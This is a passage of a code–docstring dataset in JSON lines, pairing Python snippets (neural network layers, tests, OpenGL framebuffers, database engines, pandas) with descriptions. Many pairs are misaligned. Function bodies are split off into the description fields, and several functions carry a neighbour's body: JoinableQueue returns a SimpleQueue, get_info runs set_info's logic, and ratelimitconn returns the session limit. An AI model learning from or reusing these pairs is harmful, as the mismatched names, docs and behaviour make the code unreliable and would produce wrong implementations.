tf.reduce_mean(tf.reduce_sum(tf.square(tensor0 - tensor1), axis=-1)) / 2.0"} {"code": "def tv_resnext50_32x4d(pretrained=False, **kwargs):\n model_args = dict(block=Bottleneck, layers=[3, 4, 6, 3], cardinality=32, base_width=4, **kwargs)\n return _create_resnet('tv_resnext50_32x4d', pretrained, **model_args)\n\n\n@register_model", "nl": "Constructs a ResNeXt50-32x4d model with original Torchvision weights."} {"code": "def forward(self, input, hidden, ctx, ctx_mask=None):\n hx, cx = hidden\n gates = self.input_weights(input) + \\\n self.hidden_weights(hx)\n ingate, forgetgate, cellgate, outgate = gates.chunk(4, 1)\n\n ingate = F.sigmoid(ingate)\n forgetgate = F.sigmoid(forgetgate)\n cellgate = F.tanh(cellgate)\n outgate = F.sigmoid(outgate)\n\n cy = (forgetgate * cx) + (ingate * cellgate)\n hy = outgate * F.tanh(cy)\n h_tilde, alpha = self.attention_layer(hy, ctx.transpose(0, 1))\n\n return h_tilde, cy\n\n if self.batch_first:\n input = input.transpose(0, 1)\n\n output = []\n steps = range(input.size(0))\n for i in steps:\n hidden = recurrence(input[i], hidden)\n if isinstance(hidden, tuple):\n output.append(hidden[0])\n else:\n output.append(hidden)\n\n\n output = torch.cat(output, 0).view(input.size(0), *output[0].size())\n\n if self.batch_first:\n output = output.transpose(0, 1)\n\n return output, hidden\n\n\nclass Seq2SeqAttentionSharedEmbedding(nn.Module):\n \"\"\"Container module with an encoder, deocder, embeddings.\"\"\"", "nl": "Propogate input through the network.def recurrence(input, hidden):Recurrence helper."} {"code": "def generate_detection(self, detection_graph, image_np):\n\n image_np_expanded = np.expand_dims(image_np, axis=0)\n image_tensor = detection_graph.get_tensor_by_name(\"image_tensor:0\")\n box = detection_graph.get_tensor_by_name(\"detection_boxes:0\")\n score = detection_graph.get_tensor_by_name(\"detection_scores:0\")\n clss = detection_graph.get_tensor_by_name(\"detection_classes:0\")\n num_detections = detection_graph.get_tensor_by_name(\"num_detections:0\")\n\n (box, score, clss, num_detections) = self.sess.run(\n [box, score, clss, num_detections],\n feed_dict={image_tensor: image_np_expanded})\n\n boxes = np.squeeze(np.array(box))\n scores = np.squeeze(np.array(score))\n classes = np.squeeze(np.array(clss)).astype(int)\n\n return boxes, scores, classes\n", "nl": "boxes,scores,classes,images = generate_detection(detection_graph,image)Run an already-loaded detector network on an image.Boxes are returned in relative coordinates as (top, left, bottom, right); x,y origin is the upper-left."} {"code": "def ball_query_gpu(radius, nsample, xyz, new_xyz):\n if not open3d.core.cuda.device_count() > 0:\n raise NotImplementedError\n\n idx = ball_query(xyz, new_xyz, radius, nsample)\n return idx\n\n\nops.NoGradient(\"Open3DBallQuery\")\n\n\nclass QueryAndGroup(tf.keras.layers.Layer):\n", "nl": ":param radius: float, radius of the balls:param nsample: int, maximum number of features in the balls:param xyz: (B, N, 3) xyz coordinates of the features:param new_xyz: (B, npoint, 3) centers of the ball query:return:idx: (B, npoint, nsample) tensor with the indices of the features that form the query balls"} {"code": "def JoinableQueue(self, maxsize=0):\n from .queues import SimpleQueue\n return SimpleQueue(ctx=self.get_context())\n", "nl": "Returns a queue objectfrom .queues import JoinableQueuereturn JoinableQueue(maxsize, ctx=self.get_context())def SimpleQueue(self):Returns a queue object"} {"code": "def client(self):\n self._refreshChannelNoRetries()\n return self._client\n\n", "nl": " Returns the underlying AMQP client instance, (re)connecting and(re)establishing the channel as needed"} {"code": "def test_vectorization_for_proportion_list_on_test_set(supply_test_set):\n (\n test_exp_props_interval,\n test_obs_props_interval,\n ) = get_proportion_lists_vectorized(\n *supply_test_set, num_bins=100, recal_model=None, prop_type=\"interval\"\n )\n assert test_exp_props_interval.shape == test_obs_props_interval.shape\n assert (\n np.max(np.abs(np.unique(test_exp_props_interval) - np.linspace(0, 1, 100)))\n < 1e-6\n )\n assert (\n np.max(\n np.abs(\n np.sort(np.unique(test_obs_props_interval))\n - np.array([0.0, 0.33333333, 0.66666667, 1.0])\n )\n )\n < 1e-6\n )\n\n (\n test_exp_props_quantile,\n test_obs_props_quantile,\n ) = get_proportion_lists_vectorized(\n *supply_test_set, num_bins=100, recal_model=None, prop_type=\"quantile\"\n )\n assert test_exp_props_quantile.shape == test_obs_props_quantile.shape\n assert (\n np.max(np.abs(np.unique(test_exp_props_quantile) - np.linspace(0, 1, 100)))\n < 1e-6\n )\n assert (\n np.max(\n np.abs(\n np.sort(np.unique(test_obs_props_quantile))\n - np.array([0.0, 0.33333333, 0.66666667, 1.0])\n )\n )\n < 1e-6\n )\n\n", "nl": "Test vectorization in get_proportion_lists on the test set for some dummy values.(test_exp_props_nonvec_interval,test_obs_props_nonvec_interval,) = get_proportion_lists(*supply_test_set, num_bins=100, recal_model=None, prop_type=\"interval\")(test_exp_props_vec_interval,test_obs_props_vec_interval,) = get_proportion_lists_vectorized(*supply_test_set, num_bins=100, recal_model=None, prop_type=\"interval\")assert (np.max(np.abs(test_exp_props_nonvec_interval - test_exp_props_vec_interval))< 1e-6)assert (np.max(np.abs(test_obs_props_nonvec_interval - test_obs_props_vec_interval))< 1e-6)(test_exp_props_nonvec_quantile,test_obs_props_nonvec_quantile,) = get_proportion_lists(*supply_test_set, num_bins=100, recal_model=None, prop_type=\"quantile\")(test_exp_props_vec_quantile,test_obs_props_vec_quantile,) = get_proportion_lists_vectorized(*supply_test_set, num_bins=100, recal_model=None, prop_type=\"quantile\")assert (np.max(np.abs(test_exp_props_nonvec_quantile - test_exp_props_vec_quantile))< 1e-6)assert (np.max(np.abs(test_obs_props_nonvec_quantile - test_obs_props_vec_quantile))< 1e-6)def test_get_proportion_lists_vectorized_on_test_set(supply_test_set):Test get_proportion_lists_vectorized on the test set for some dummy values."} {"code": "def display(self, depth=0):\n print(depth * \" \" + \"[level %s]\" % self.level)\n for item in self.items:\n if isinstance(item, Cluster):\n item.display(depth + 1)\n else:\n print(depth * \" \" + \"%s\" % item)\n", "nl": "Pretty-prints this cluster. Useful for debuging."} {"code": "def testRandomDistort(self):\n im_shape = (600, 900, 3)\n config = self._random_distort_config\n total_boxes = 5\n label = 3\n\n image, bboxes = self._get_image_with_boxes(im_shape, total_boxes)\n bboxes_w_label = tf.concat(\n [\n bboxes,\n tf.fill((bboxes.shape[0], 1), label)\n ],\n axis=1\n )\n\n ret_image, ret_bboxes = self._random_distort(\n image, config, bboxes_w_label\n )\n self.assertEqual(im_shape, ret_image.shape)\n self.assertAllEqual(\n bboxes, ret_bboxes[:, :4]\n )\n", "nl": "Tests the integrity of the return values of random_distortion."} {"code": "def _make_iterator(self, start_run_idx, copy_data=False, **kwargs):\n\n :param results:\n\n List of tuples containing the run indices and the results\n\n :return:\n\n 1. Whether to new single runs, since the trajectory was enlarged\n 2. Index of next new run\n 3. Number of new runs\n\n \"\"\"", "nl": " Returns an iterator over all runs and yields the keyword arguments if (not self._freeze_input) or (not self._multiproc):kwargs = self._make_kwargs(**kwargs)def _do_iter():if self._map_arguments:self._args = tuple(iter(arg) for arg in self._args)for key in list(self._kwargs.keys()):self._kwargs[key] = iter(self._kwargs[key])for idx in self._make_index_iterator(start_run_idx):iter_args = tuple(next(x) for x in self._args)iter_kwargs = {}for key in self._kwargs:iter_kwargs[key] = next(self._kwargs[key])kwargs['runargs'] = iter_argskwargs['runkwargs'] = iter_kwargsif self._freeze_input:# Frozen pool needs current run indexkwargs['idx'] = idxif copy_data:copied_kwargs = kwargs.copy()if not self._freeze_input:copied_kwargs['traj'] = self._traj.f_copy(copy_leaves='explored',with_links=True)yield copied_kwargselse:yield kwargselse:for idx in self._make_index_iterator(start_run_idx):if self._freeze_input:# Frozen pool needs current run indexkwargs['idx'] = idxif copy_data:copied_kwargs = kwargs.copy()if not self._freeze_input:copied_kwargs['traj'] = self._traj.f_copy(copy_leaves='explored',with_links=True)yield copied_kwargselse:yield kwargsreturn _do_iter()def _execute_postproc(self, results): Executes a postprocessing function"} {"code": "def unmap(data, count, inds, fill=0):\n if count == len(inds):\n return data\n\n if len(data.shape) == 1:\n ret = np.empty((count,), dtype=data.dtype)\n ret.fill(fill)\n ret[inds] = data\n else:\n ret = np.empty((count,) + data.shape[1:], dtype=data.dtype)\n ret.fill(fill)\n ret[inds, :] = data\n return ret\n\n", "nl": "Unmap a subset of item (data) back to the original set of items (ofsize count)"} {"code": "def add_version_tracking(self, info_id, version, date, command_line=''):\n other_line = '\n info_id, version, date, command_line)\n self.other_dict[info_id] = other_line\n return", "nl": "Add a line with information about which software that was run and whento the header.Arguments:info_id (str): The id of the info lineversion (str): The version of the software useddate (str): Date when software was runcommand_line (str): The command line that was used for run"} {"code": "def _init_framebuffer_object(self):\n fbo = gl.glGenFramebuffers(1)\n gl.glBindFramebuffer(gl.GL_FRAMEBUFFER, fbo)\n\n rbo = gl.glGenRenderbuffers(1)\n gl.glBindRenderbuffer(gl.GL_RENDERBUFFER, rbo)\n gl.glRenderbufferStorage(\n gl.GL_RENDERBUFFER,\n gl.GL_RGBA,\n self.init_width,\n self.init_height\n )\n gl.glFramebufferRenderbuffer(\n gl.GL_FRAMEBUFFER, gl.GL_COLOR_ATTACHMENT0, gl.GL_RENDERBUFFER, rbo)\n gl.glBindRenderbuffer(gl.GL_RENDERBUFFER, 0)\n gl.glBindFramebuffer(gl.GL_FRAMEBUFFER, 0)\n fbo_status = gl.glCheckFramebufferStatus(gl.GL_FRAMEBUFFER)\n\n if fbo_status != gl.GL_FRAMEBUFFER_COMPLETE:\n gl.glDeleteFramebuffers([fbo])\n glfw.terminate()\n raise Exception('Framebuffer failed status check: %s' % fbo_status)\n\n self._fbo = fbo\n self._rbo = rbo\n", "nl": "returns a Framebuffer Object to support offscreen rendering.http://learnopengl.com/#!Advanced-OpenGL/Framebuffers"} {"code": "def begin(self, close_with_result=False):\n conn = self.contextual_connect(close_with_result=close_with_result)\n try:\n trans = conn.begin()\n except:\n with util.safe_reraise():\n conn.close()\n return Engine._trans_ctx(conn, trans, close_with_result)\n", "nl": "Return a context manager delivering a :class:`.Connection`with a :class:`.Transaction` established.E.g.::with engine.begin() as conn:conn.execute(\"insert into table (x, y, z) values (1, 2, 3)\")conn.execute(\"my_special_procedure(5)\")Upon successful operation, the :class:`.Transaction`is committed. If an error is raised, the :class:`.Transaction`is rolled back.The ``close_with_result`` flag is normally ``False``, and indicatesthat the :class:`.Connection` will be closed when the operationis complete. When set to ``True``, it indicates the:class:`.Connection` is in \"single use\" mode, where the:class:`.ResultProxy` returned by the first call to:meth:`.Connection.execute` will close the :class:`.Connection` whenthat :class:`.ResultProxy` has exhausted all result rows... versionadded:: 0.7.6See also::meth:`.Engine.connect` - procure a :class:`.Connection` froman :class:`.Engine`.:meth:`.Connection.begin` - start a :class:`.Transaction`for a particular :class:`.Connection`."} {"code": "def worker_id(request):\n return get_xdist_worker_id(request)\n\n\n@pytest.fixture(scope=\"session\")", "nl": "Return the id of the current worker ('gw0', 'gw1', etc) or 'master'if running on the master node."} {"code": "def nextCol(self, *args, **kargs):\n Create a PlotItem and place it in the next available cell (or in the cell specified)\n All extra keyword arguments are passed to :func:`PlotItem.__init__ `\n Returns the created item.\n \"\"\"", "nl": "Alias of nextColumnreturn self.nextColumn(*args, **kargs)def addPlot(self, row=None, col=None, rowspan=1, colspan=1, **kargs):"} {"code": "def get_info(self):\n if isinstance(info, str):\n self._info = info\n else:\n raise TypeError('info must be a string: %s' % type(info))\n", "nl": "Get the message's \"info\" as a string.return self._infodef set_info(self, info):Set the message's \"info\" string."} {"code": "def __init__(self):\n self.memory = []\n", "nl": "Initializer"} {"code": "def _process(self, metric):\n try:\n self.queue.put(metric, block=False)\n except Queue.Full:\n self._throttle_error('Queue full, check handlers for delays')\n", "nl": "We skip any locking code due to the fact that this is now a singleprocess per collector"} {"code": "def ratelimitconn(self):\n return self.metric('SessRateLimit')\n\n @property", "nl": "Return the process-wide connection rate limit.return self.metric('ConnRateLimit')@propertydef ratelimitsess(self):Return the process-wide session rate limit."} {"code": "def init(self, *arguments, **keyword_arguments):\n raise\n\nclass GlobalState(Singleton):\n", "nl": "as __init__ will be called on every new instance of a base class ofSingleton we need a function for initialisation. This will only becalled once regardless of how many instances of Singleton are made."} {"code": "def get_response(self, environ=None):\n from .wrappers.response import Response\n\n if self.response is not None:\n return self.response\n if environ is not None:\n environ = _get_environ(environ)\n headers = self.get_headers(environ)\n return Response(self.get_body(environ), self.code, headers)\n", "nl": "Get a response object. If one was passed to the exceptionit's returned directly.:param environ: the optional environ for the request. Thiscan be used to modify the response dependingon how the request looked like.:return: a :class:`Response` object or a subclass thereof."} {"code": "def __init__(self, batches):\n self.neighborhood_limits = []\n p_list = []\n f_list = []\n l_list = []\n fi_list = []\n p0_list = []\n s_list = []\n R_list = []\n r_inds_list = []\n r_mask_list = []\n val_labels_list = []\n batch_n = 0\n\n self.cfg = batches[0]['data']['cfg']\n batch_limit = int(self.cfg.batch_limit)\n\n for batch in batches:\n data = batch['data']\n\n for p in data['p_list']:\n batch_n += p.shape[0]\n if batch_n > batch_limit:\n break\n\n p_list += data['p_list']\n f_list += data['f_list']\n l_list += data['l_list']\n p0_list += data['p0_list']\n s_list += data['s_list']\n R_list += data['R_list']\n r_inds_list += data['r_inds_list']\n r_mask_list += data['r_mask_list']\n val_labels_list += data['val_labels_list']\n\n\n stacked_points = np.concatenate(p_list, axis=0)\n features = np.concatenate(f_list, axis=0)\n labels = np.concatenate(l_list, axis=0)\n frame_inds = np.array(fi_list, dtype=np.int32)\n frame_centers = np.stack(p0_list, axis=0)\n stack_lengths = np.array([pp.shape[0] for pp in p_list], dtype=np.int32)\n scales = np.array(s_list, dtype=np.float32)\n rots = np.stack(R_list, axis=0)\n\n stacked_features = np.ones_like(stacked_points[:, :1], dtype=np.float32)\n if self.cfg.in_features_dim == 1:\n pass\n elif self.cfg.in_features_dim == 2:\n stacked_features = np.hstack((stacked_features, features[:, 2:3]))\n elif self.cfg.in_features_dim == 3:\n assert features.shape[1] > 3, \"feat from dataset can not be None \\\n or try to set in_features_dim = 1, 2, 4\"\n\n stacked_features = np.hstack((stacked_features, features[:, 2:4]))\n elif self.cfg.in_features_dim == 4:\n stacked_features = np.hstack((stacked_features, features[:, :3]))\n elif self.cfg.in_features_dim == 5:\n assert features.shape[1] >= 6, \"feat from dataset should have \\\n at least 3 dims, or try to set in_features_dim = 1, 2, 4\"\n\n stacked_features = np.hstack((stacked_features, features[:, 2:6]))\n elif self.cfg.in_features_dim >= 6:\n\n assert features.shape[1] > 3, \"feat from dataset can not be None \\\n or try to set in_features_dim = 1, 2, 4\"\n\n stacked_features = np.hstack((stacked_features, features))\n else:\n raise ValueError('in_features_dim should be >= 0')\n\n\n input_list = self.segmentation_inputs(stacked_points, stacked_features,\n labels.astype(np.int64),\n stack_lengths)\n\n input_list += [\n scales, rots, frame_inds, frame_centers, r_inds_list, r_mask_list,\n val_labels_list\n ]\n\n input_list = [self.cfg.num_layers] + input_list\n\n L = int(input_list[0])\n\n ind = 1\n self.points = [\n torch.from_numpy(nparray) for nparray in input_list[ind:ind + L]\n ]\n ind += L\n self.neighbors = [\n torch.from_numpy(nparray) for nparray in input_list[ind:ind + L]\n ]\n\n ind += L\n self.pools = [\n torch.from_numpy(nparray) for nparray in input_list[ind:ind + L]\n ]\n ind += L\n self.upsamples = [\n torch.from_numpy(nparray) for nparray in input_list[ind:ind + L]\n ]\n ind += L\n self.lengths = [\n torch.from_numpy(nparray) for nparray in input_list[ind:ind + L]\n ]\n ind += L\n self.features = torch.from_numpy(input_list[ind])\n ind += 1\n self.labels = torch.from_numpy(input_list[ind])\n ind += 1\n self.scales = torch.from_numpy(input_list[ind])\n ind += 1\n self.rots = torch.from_numpy(input_list[ind])\n ind += 1\n self.frame_inds = torch.from_numpy(input_list[ind])\n ind += 1\n self.frame_centers = torch.from_numpy(input_list[ind])\n ind += 1\n self.reproj_inds = input_list[ind]\n ind += 1\n self.reproj_masks = input_list[ind]\n ind += 1\n self.val_labels = input_list[ind]\n\n return\n", "nl": "Initialize.Args:batches: A batch of dataReturns:class: The corresponding class."} {"code": "def mulmod(a, b, c):\n return int(gmpy2.mul(a, b) % c)\n\n", "nl": "reutn int: (a * b) % c"} {"code": "def equals(self, other):\n if not isinstance(other, self._constructor):\n return False\n return self._data.equals(other._data)\n\n", "nl": "Test whether two objects contain the same elements.This function allows two Series or DataFrames to be compared againsteach other to see if they have the same shape and elements. NaNs inthe same location are considered equal. The column headers do notneed to have the same type, but the elements within the columns mustbe the same dtype.Parameters----------other : Series or DataFrameThe other Series or DataFrame to be compared with the first.Returns-------boolTrue if all elements are the same in both objects, Falseotherwise.See Also--------Series.eq : Compare two Series objects of the same lengthand return a Series where each element is True if the elementin each Series is equal, False otherwise.DataFrame.eq : Compare two DataFrame objects of the same shape andreturn a DataFrame where each element is True if the respectiveelement in each DataFrame is equal, False otherwise.assert_series_equal : Return True if left and right Series are equal,False otherwise.assert_frame_equal : Return True if left and right DataFrames areequal, False otherwise.numpy.array_equal : Return True if two arrays have the same shapeand elements, False otherwise.Notes-----This function requires that the elements have the same dtype as theirrespective elements in the other Series or DataFrame. However, thecolumn labels do not need to have the same type, as long as they arestill considered equal.Examples-------->>> df = pd.DataFrame({1: [10], 2: [20]})>>> df1 20 10 20DataFrames df and exactly_equal have the same types and values fortheir elements and column labels, which will return True.>>> exactly_equal = pd.DataFrame({1: [10], 2: [20]})>>> exactly_equal1 20 10 20>>> df.equals(exactly_equal)TrueDataFrames df and different_column_type have the same elementtypes and values, but have different types for the column labels,which will still return True.>>> different_column_type = pd.DataFrame({1.0: [10], 2.0: [20]})>>> different_column_type1.0 2.00 10 20>>> df.equals(different_column_type)TrueDataFrames df and different_data_type have different types for thesame values for their elements, and will return False even thoughtheir column labels are the same values and types.>>> different_data_type = pd.DataFrame({1: [10.0], 2: [20.0]})>>> different_data_type1 20 10.0 20.0>>> df.equals(different_data_type)False"} {"code": "def init_weights(self, pretrained=None):\n", "nl": "Initialize the weights in backbone.Args:pretrained (str, optional): Path to pre-trained weights.Defaults to None."} {"code": "def extract_graphs(self):\n\n paragraph = models.TextField(blank=True)\n paragraph_id = models.CharField(max_length=255, blank=True)\n section = models.ForeignKey(\n Section, on_delete=models.CASCADE, related_name=\"paragraphs\"\n )\n", "nl": "Break out and store a section's paragraphs for indexing.part = self.subpart.version.partsection_tag = \"{}-{}\".format(part.part_number, self.label)extractor = regdown.extract_labeled_paragraphparagraph_ids = re.findall(r\"[^{]*{(?P
B "} {"code": "def clean_output_dir(self, kept_files, kept_symlinks):\n\n trees_to_remove = []\n files_to_remove = []\n for path in self.walk_output_dir(kept_files):\n full_path = os.path.join(self.output, path)\n if os.path.islink(full_path):\n if path not in kept_symlinks:\n files_to_remove.append(full_path)\n else:\n if path not in kept_files:\n if os.path.isdir(full_path):\n trees_to_remove.append(full_path)\n else:\n files_to_remove.append(full_path)\n\n dirs_to_remove = set()\n for path in files_to_remove:\n logger.info(f\"remove extra file or symlink: {path}\")\n os.remove(path)\n dirs_to_remove.add(os.path.dirname(path))\n for path in trees_to_remove:\n logger.info(f\"remove extra directory: {path}\")\n shutil.rmtree(path)\n dirs_to_remove.add(os.path.dirname(path))\n\n for path in dirs_to_remove:\n try:\n os.removedirs(path)\n except OSError:\n pass\n\n", "nl": "Remove regular files (or directories) and symlinks from output, except given onesThis method is intended to be used to clean-up files that should not beextracted/symlinked. Parent directories are removed (if empty).Note: symlinks are assumed to point to the right location."} {"code": "def add_dict_to_cookiejar(cj, cookie_dict):\n\n cj2 = cookiejar_from_dict(cookie_dict)\n cj.update(cj2)\n return cj\n\n", "nl": "Returns a CookieJar from a key/value dictionary.:param cj: CookieJar to insert cookies into.:param cookie_dict: Dict of key/values to insert into CookieJar."} {"code": "def read_mainpid_from(self, conf, default):\n pid_file = self.pid_file_from(conf)\n if pid_file:", "nl": " MAINPID is either the PIDFile content written from the applicationor it is the value in the status file written by this systemctl.py code "} {"code": "def std(self, ddof=1, *args, **kwargs):\n\n nv.validate_groupby_func('std', args, kwargs)\n return np.sqrt(self.var(ddof=ddof, **kwargs))\n\n @Substitution(name='groupby')\n @Appender(_common_see_also)", "nl": "Compute standard deviation of groups, excluding missing values.For multiple groupings, the result index will be a MultiIndex.Parameters----------ddof : integer, default 1degrees of freedom"} {"code": "def _string_to_substitute(self, mo: Match, methods_dict: Dict[str, Callable]) -> str:\n matched_text, f_name = mo.groups()\n\n if f_name not in methods_dict:\n return matched_text\n\n a_tree = ast.parse(matched_text)\n", "nl": "Return the string to be substituted for the match."} {"code": "def add_detachable_attrs(self, names: Set[str]) -> None:\n self._detachable = self._detachable.union(names)\n\n @property", "nl": "Mark defined attributes as detachable for serialisationArguments:names {Set[str]} -- the names of the attributes to detach as a set of strings"} {"code": "def test_setNonBlocking(self):\n r, w = os.pipe()\n self.addCleanup(os.close, r)\n self.addCleanup(os.close, w)\n self.assertFalse(fcntl.fcntl(r, fcntl.F_GETFL) & os.O_NONBLOCK)\n fdesc.setNonBlocking(r)\n self.assertTrue(fcntl.fcntl(r, fcntl.F_GETFL) & os.O_NONBLOCK)\n\n", "nl": "L{fdesc.setNonBlocking} sets a file description to non-blocking."} {"code": "def as_xml(self, parent = None):\n if parent is not None:\n element = ElementTree.SubElement(parent, ITEM_TAG)\n else:\n element = ElementTree.Element(ITEM_TAG)\n element.set(\"jid\", unicode(self.jid))\n if self.name is not None:\n element.set(\"name\", self.name)\n if self.subscription is not None:\n element.set(\"subscription\", self.subscription)\n if self.ask:\n element.set(\"ask\", self.ask)\n if self.approved:\n element.set(\"approved\", \"true\")\n for group in self.groups:\n ElementTree.SubElement(element, GROUP_TAG).text = group\n return element\n", "nl": "Make an XML element from self.:Parameters:- `parent`: Parent element:Types:- `parent`: :etree:`ElementTree.Element`"} {"code": "def test_select_distinct(self):\n p = tensor.fmatrix()\n u = tensor.fvector()\n n = tensor.iscalar()\n m = multinomial.MultinomialWOReplacementFromUniform('auto')(p, u, n)\n\n f = function([p, u, n], m, allow_input_downcast=True)\n\n n_elements = 1000\n all_indices = range(n_elements)\n numpy.random.seed(12345)\n for i in [5, 10, 50, 100, 500, n_elements]:\n uni = numpy.random.rand(i).astype(config.floatX)\n pvals = numpy.random.randint(1, 100, (1, n_elements)).astype(config.floatX)\n pvals /= pvals.sum(1)\n res = f(pvals, uni, i)\n res = numpy.squeeze(res)\n assert len(res) == i\n assert numpy.all(numpy.in1d(numpy.unique(res), all_indices)), res\n", "nl": "Tests that MultinomialWOReplacementFromUniform always selects distinct elements"} {"code": "def render(self):\n template = (\"[%(name)s]\\n\"\n \"name=%(name)s\\n\"\n \"baseurl=%(baseurl)s\\n\"\n \"enabled=%(enabled)s\\n\"\n \"gpgcheck=%(gpgcheck)s\\n\"\n \"gpgkey=%(gpgkey)s\\n\")\n\n values = {'name': self.name,\n 'baseurl': self.baseurl,\n 'enabled': self._yum_value_for_boolean(self.enabled),\n 'gpgcheck': self._yum_value_for_boolean(self.gpgcheck),\n 'gpgkey': self.gpgkey}\n\n return template % values\n", "nl": "Renders the repo fileYes, we could use ConfigParser for this, but it produces files withspaces between keys and values, which look akward by YUM defaults."} {"code": "def __and__(self, other):\n raise NotImplementedError\n\n @abstractmethod", "nl": "self & otherraise NotImplementedError@abstractmethoddef __rand__(self, other):other & self"} {"code": "def read(self, file_or_path):\n kwargs = self.add_read_args()\n kwargs.update(self.read_args)\n return type(self).read_func(file_or_path, **kwargs)\n", "nl": "Read DataFrame:param file_or_path: source for read function"} {"code": "def assert_stores_different(store1, store2, prefix):\n if callable(store1):\n store1 = store1()\n if callable(store2):\n store2 = store2()\n\n key = \"{prefix}/.test_store_difference.{uuid}\".format(\n prefix=prefix, uuid=uuid.uuid4().hex\n )\n try:\n store2.put(key, b\"\")\n try:\n store1.get(key)\n raise ValueError(\"Stores are identical but should not be.\")\n except KeyError:\n pass\n finally:\n try:\n store2.delete(key)\n except KeyError:\n pass\n\n", "nl": "Check that given stores are different.This is a workaround for tha fact that simplekv stores normally do not implemenent some sane equality check.Parameters----------store1: Union[simplekv.KeyValueStore, Callable[[], simplekv.KeyValueStore]]First store.store2: Union[simplekv.KeyValueStore, Callable[[], simplekv.KeyValueStore]]Second store, will be used to write a test key to.prefix: strPrefix to be used for the temporary key used for the equality check.Raises------ValueError: If stores are considered to be identical."} {"code": "def exception_handler(type, value, tb):\n msg = ''\n if hasattr(value, 'filename') and value.filename is not None:\n msg = value.filename + ': '\n if hasattr(value, 'strerror') and value.strerror is not None:\n msg += value.strerror\n else:\n msg += str(value)\n\n if len(msg):\n error_msg_qt(msg)\n\n\n@_Backend.export\nclass _BackendQT5(_Backend):\n required_interactive_framework = \"qt5\"\n FigureCanvas = FigureCanvasQT\n FigureManager = FigureManagerQT\n\n @staticmethod", "nl": "Handle uncaught exceptionsIt does not catch SystemExit"} {"code": "def __init__(self):\n pass\n\n\nclass _DummyBatchClient(IamClient):", "nl": "Override Parent constructor. No real boto3 client is created.passclass _DummyDynamoResource(DynamoResource):def __init__(self):Override Parent constructor. No real boto3 client is created."} {"code": "def device_get_md_uuid(info):", "nl": " Returns the uuid of the array of which this device is a member.:param dict info: dictionary of name-value pairs as strings:returns: the UUID of this device's md array:rtype: str:raises: KeyError"} {"code": "def CheckBlessing(self, input_dict: Dict[str, List[types.Artifact]]) -> bool:\n maybe_model_blessing = input_dict.get(\n standard_component_specs.MODEL_BLESSING_KEY)\n if maybe_model_blessing:\n model_blessing = artifact_utils.get_single_instance(maybe_model_blessing)\n if not model_utils.is_model_blessed(model_blessing):\n logging.info('Model on %s was not blessed by model validation',\n model_blessing.uri)\n return False\n maybe_infra_blessing = input_dict.get(\n standard_component_specs.INFRA_BLESSING_KEY)\n if maybe_infra_blessing:\n infra_blessing = artifact_utils.get_single_instance(maybe_infra_blessing)\n if not model_utils.is_infra_validated(infra_blessing):\n logging.info('Model on %s was not blessed by infra validator',\n infra_blessing.uri)\n return False\n if not maybe_model_blessing and not maybe_infra_blessing:\n logging.warning('Pusher is going to push the model without validation. '\n 'Consider using Evaluator or InfraValidator in your '\n 'pipeline.')\n return True\n", "nl": "Check that model is blessed by upstream validators.Args:input_dict: Input dict from input key to a list of artifacts:- model_blessing: A `ModelBlessing` artifact from model validator orevaluator.Pusher looks for a custom property `blessed` in the artifact to checkit is safe to push.- infra_blessing: An `InfraBlessing` artifact from infra validator.Pusher looks for a custom proeprty `blessed` in the artifact todetermine whether the model is mechanically servable from the modelserver to which Pusher is going to push.Returns:True if the model is blessed by validator."} {"code": "def _cond(step, *args):\n", "nl": "Optimization truncation condition.del argsreturn step < num_updatesstep = tf.Variable(0, trainable=False, name='inner_step_counter')loop_vars = (step, [init(var) for var in variables])step, updated_vars = tf.while_loop(cond=_cond, body=_body, loop_vars=loop_vars, swap_memory=True)return [get_params(v) for v in updated_vars]ForwardPass = collections.namedtuple('ForwardPass', ('embeddings','predictions','inner_objective_value','outer_objective_value','accuracy',))Adaptation = collections.namedtuple('Adaptation', ('pre_adaptation_support_results','post_adaptation_support_results','pre_adaptation_query_results','post_adaptation_query_results','objective_fn','support_module_objective_fn','query_module_objective_fn','forward_pass_fn','init_loop_variables_mapping','final_loop_variables_mapping',))@gin.configurableclass ExperimentalOptimizationLearner(learner_base.ExperimentalEpisodicLearner):An optimization-based learner."} {"code": "def _last_of_year(self, day_of_week: int | None = None) -> DateTime:\n return self.set(month=MONTHS_PER_YEAR).last_of(\"month\", day_of_week)\n", "nl": "Modify to the last occurrence of a given day of the weekin the current year. If no day_of_week is provided,modify to the last day of the year. Use the supplied conststo indicate the desired day_of_week, ex. DateTime.MONDAY."} {"code": "def estimate_class_posteriors(self, features):\n centered = features[:, None, :] - self.class_means[None, :, :]\n posterior_logits = -1*torch.einsum('cfg,icf,icg->ic', self.class_precisions, centered, centered)\n\n return posterior_logits\n\n @staticmethod", "nl": "Inputs:`features`: (instance, feature) tensorReturns:(instance, class) tensor of logits"} {"code": "def setHelpTextStyle(self, helpCol, fontScale=0.9):\n if isinstance(helpCol, QColor):\n self._helpCol = helpCol\n else:\n self._helpCol = QColor(*helpCol)\n self._fontScale = fontScale\n return\n", "nl": "Set the text color for the help text."} {"code": "def set_timeout(self, seconds=50):", "nl": " Configures plugin to timeout after seconds number of seconds timeout = lambda x, y: self.exit(unknown, summary=\"Plugin timeout exceeded after %s seconds.\" % seconds)signal.signal(signal.SIGALRM, timeout)signal.alarm(seconds)def exit(self, exit_code=None, summary=None, long_output=None, perfdata=None): Print all collected output to screen and exit nagios style, no arguments are needed"} {"code": "def test_selections_profile_role(self, *args):\n \"\"\"", "nl": " Profile role is selected when valid and present roles = [('idp1', 'arn:aws:iam::224588347132:role/KalturaAdmin'),('idp2', 'arn:aws:iam::617683844790:role/BoxAdmin'),]profile_role = roles[1][1]with patch('sys.stdout', new=StringIO()) as stdout:role = get_selection(roles, profile_role)self.assertEqual(stdout.getvalue(),'','User was prompted for a selection ''even though the Profile role was set!')self.assertEqual(role,roles[1],'Profile role was not selected!')@patch('builtins.input', return_value=1)def test_selections_bad_profile_role(self, *args): If a bad Profile role is set, then get_selection prompts the user."} {"code": "def _ipaddress_match(ipname, host_ip):\n ip = _inet_paton(ipname.rstrip())\n return ip == host_ip\n\n", "nl": "Exact matching of IP addresses.RFC 6125 explicitly doesn't define an algorithm for this(section 1.7.2 - \"Out of Scope\")."} {"code": "def name_scope(self):\n pass\n\n @property", "nl": "Name scope.Must be defined by implementations.Returns:a string representing the name scope of the anchor generation operation."} {"code": "def _typecheck(name, value, *types):\n if not types:\n types = (unicode,)\n if not isinstance(value, types):\n raise TypeError(\"expected {} for {}, got {}\".format(\n \" or \".join([t.__name__ for t in types]), name, repr(value),\n ))\n return value\n\n\n\nclass URL(object):\n \"\"\"\n", "nl": "Check that the given C{value} is of the given 